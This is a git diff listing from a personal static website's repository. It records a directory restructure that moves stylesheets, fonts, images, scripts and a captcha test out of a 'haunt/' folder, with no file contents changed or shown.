b/srfi-197 new file mode 160000 +Subproject 78ced23a1af519ee2969939138b3ffff442f339 diff --git a/haunt/srfi-197.scm b/srfi-197.scm index 93fc0ab..93fc0ab 100644 --- a/haunt/srfi-197.scm +++ b/srfi-197.scm diff --git a/haunt/static/css/fonts.css b/static/css/fonts.css index 05a70c6..05a70c6 100644 --- a/haunt/static/css/fonts.css +++ b/static/css/fonts.css diff --git a/haunt/static/css/highlight.css b/static/css/highlight.css index 1e8899f..1e8899f 100644 --- a/haunt/static/css/highlight.css +++ b/static/css/highlight.css diff --git a/haunt/static/css/normalize.css b/static/css/normalize.css index 192eb9c..192eb9c 100644 --- a/haunt/static/css/normalize.css +++ b/static/css/normalize.css diff --git a/haunt/static/css/style.css b/static/css/style.css index 52d19af..52d19af 100644 --- a/haunt/static/css/style.css +++ b/static/css/style.css diff --git a/haunt/static/font/Cantarell-Bold.otf b/static/font/Cantarell-Bold.otf Binary files differindex a5b620b..a5b620b 100644 --- a/haunt/static/font/Cantarell-Bold.otf +++ b/static/font/Cantarell-Bold.otf diff --git a/haunt/static/font/Cantarell-BoldOblique.otf b/static/font/Cantarell-BoldOblique.otf Binary files differindex 5f49d64..5f49d64 100644 --- a/haunt/static/font/Cantarell-BoldOblique.otf +++ b/static/font/Cantarell-BoldOblique.otf diff --git a/haunt/static/font/Cantarell-Oblique.otf b/static/font/Cantarell-Oblique.otf Binary files differindex 70539ed..70539ed 100644 --- a/haunt/static/font/Cantarell-Oblique.otf +++ b/static/font/Cantarell-Oblique.otf diff --git a/haunt/static/font/Cantarell-Regular.otf b/static/font/Cantarell-Regular.otf Binary files differindex fca6759..fca6759 100644 --- a/haunt/static/font/Cantarell-Regular.otf +++ b/static/font/Cantarell-Regular.otf diff --git a/haunt/static/font/Hack-Bold.ttf b/static/font/Hack-Bold.ttf Binary files differindex 7ff4975..7ff4975 100644 --- a/haunt/static/font/Hack-Bold.ttf +++ b/static/font/Hack-Bold.ttf diff --git a/haunt/static/font/Hack-BoldItalic.ttf b/static/font/Hack-BoldItalic.ttf Binary files differindex 3b137d9..3b137d9 100644 --- a/haunt/static/font/Hack-BoldItalic.ttf +++ b/static/font/Hack-BoldItalic.ttf diff --git a/haunt/static/font/Hack-Italic.ttf b/static/font/Hack-Italic.ttf Binary files differindex d26198a..d26198a 100644 --- a/haunt/static/font/Hack-Italic.ttf +++ b/static/font/Hack-Italic.ttf diff --git a/haunt/static/font/Hack-Regular.ttf b/static/font/Hack-Regular.ttf Binary files differindex 92a90cb..92a90cb 100644 --- a/haunt/static/font/Hack-Regular.ttf +++ b/static/font/Hack-Regular.ttf diff --git a/haunt/static/gpg.txt b/static/gpg.txt index 1de4e2a..1de4e2a 100644 --- a/haunt/static/gpg.txt +++ b/static/gpg.txt diff --git a/haunt/static/image/cbt-2023-04-13.jpg b/static/image/cbt-2023-04-13.jpg Binary files differindex f691e45..f691e45 100644 --- a/haunt/static/image/cbt-2023-04-13.jpg +++ b/static/image/cbt-2023-04-13.jpg diff --git a/haunt/static/image/cc-by-sa-4.0.png b/static/image/cc-by-sa-4.0.png Binary files differindex 003dd0a..003dd0a 100644 --- a/haunt/static/image/cc-by-sa-4.0.png +++ b/static/image/cc-by-sa-4.0.png diff --git a/haunt/static/image/clock.png b/static/image/clock.png Binary files differindex d35c884..d35c884 100644 --- a/haunt/static/image/clock.png +++ b/static/image/clock.png diff --git a/haunt/static/image/default-icon.png b/static/image/default-icon.png Binary files differindex 832f3ef..832f3ef 100644 --- a/haunt/static/image/default-icon.png +++ b/static/image/default-icon.png diff --git a/haunt/static/image/favicon.ico b/static/image/favicon.ico Binary files differindex 842478f..842478f 100644 --- a/haunt/static/image/favicon.ico +++ b/static/image/favicon.ico diff --git a/haunt/static/image/hourglass.gif b/static/image/hourglass.gif Binary files differindex e1bf222..e1bf222 100644 --- a/haunt/static/image/hourglass.gif +++ b/static/image/hourglass.gif diff --git a/haunt/static/image/i2p.svg b/static/image/i2p.svg index dfc85a8..dfc85a8 100644 --- a/haunt/static/image/i2p.svg +++ b/static/image/i2p.svg diff --git a/haunt/static/image/lambda.svg b/static/image/lambda.svg index 76c26c2..76c26c2 100644 --- a/haunt/static/image/lambda.svg +++ b/static/image/lambda.svg diff --git a/haunt/static/image/lobsters.png b/static/image/lobsters.png Binary files differindex e75cc99..e75cc99 100644 --- a/haunt/static/image/lobsters.png +++ b/static/image/lobsters.png diff --git a/haunt/static/image/oneko.gif b/static/image/oneko.gif Binary files differindex a009c2c..a009c2c 100644 --- a/haunt/static/image/oneko.gif +++ b/static/image/oneko.gif diff --git a/haunt/static/image/opengraph-icon-coq.jpg b/static/image/opengraph-icon-coq.jpg Binary files differindex 33c969a..33c969a 100644 --- a/haunt/static/image/opengraph-icon-coq.jpg +++ b/static/image/opengraph-icon-coq.jpg diff --git a/haunt/static/image/portrait.png b/static/image/portrait.png Binary files differindex dfaee55..dfaee55 100644 --- a/haunt/static/image/portrait.png +++ b/static/image/portrait.png diff --git a/haunt/static/image/profile-picture.jpg b/static/image/profile-picture.jpg Binary files differindex cd2e07e..cd2e07e 100644 --- a/haunt/static/image/profile-picture.jpg +++ b/static/image/profile-picture.jpg diff --git a/haunt/static/image/tango-emblem-important.png b/static/image/tango-emblem-important.png Binary files differindex 81c455b..81c455b 100644 --- a/haunt/static/image/tango-emblem-important.png +++ b/static/image/tango-emblem-important.png diff --git a/haunt/static/image/tor.svg b/static/image/tor.svg index ff0f894..ff0f894 100644 --- a/haunt/static/image/tor.svg +++ b/static/image/tor.svg diff --git a/haunt/static/image/webmention-logo.png b/static/image/webmention-logo.png Binary files differindex a4ffda1..a4ffda1 100644 --- a/haunt/static/image/webmention-logo.png +++ b/static/image/webmention-logo.png diff --git a/haunt/static/js/comment-reaction.js b/static/js/comment-reaction.js index 1002fa2..1002fa2 100644 --- a/haunt/static/js/comment-reaction.js +++ b/static/js/comment-reaction.js diff --git a/haunt/static/js/dynamic-comment-form.js b/static/js/dynamic-comment-form.js index 4be2d52..4be2d52 100644 --- a/haunt/static/js/dynamic-comment-form.js +++ b/static/js/dynamic-comment-form.js diff --git a/haunt/static/js/oneko.js b/static/js/oneko.js index b0ba164..b0ba164 100644 --- a/haunt/static/js/oneko.js +++ b/static/js/oneko.js diff --git a/haunt/static/js/proof-of-work.js b/static/js/proof-of-work.js index b4b5c57..b4b5c57 100644 --- a/haunt/static/js/proof-of-work.js +++ b/static/js/proof-of-work.js diff --git a/haunt/static/js/rsvp.js b/static/js/rsvp.js index 06cdb66..06cdb66 100644 --- a/haunt/static/js/rsvp.js +++ b/static/js/rsvp.js diff --git a/haunt/static/js/section-folds.js b/static/js/section-folds.js index 9440264..9440264 100644 --- a/haunt/static/js/section-folds.js +++ b/static/js/section-folds.js diff --git a/haunt/static/js/webmention.js b/static/js/webmention.js index d280d4d..d280d4d 100644 --- a/haunt/static/js/webmention.js +++ b/static/js/webmention.js diff --git a/haunt/tests/captcha.scm b/tests/captcha.scm index aeea265..aeea265 100644 --- a/haunt/tests/captcha.scm +++ b/tests/captcha.scm |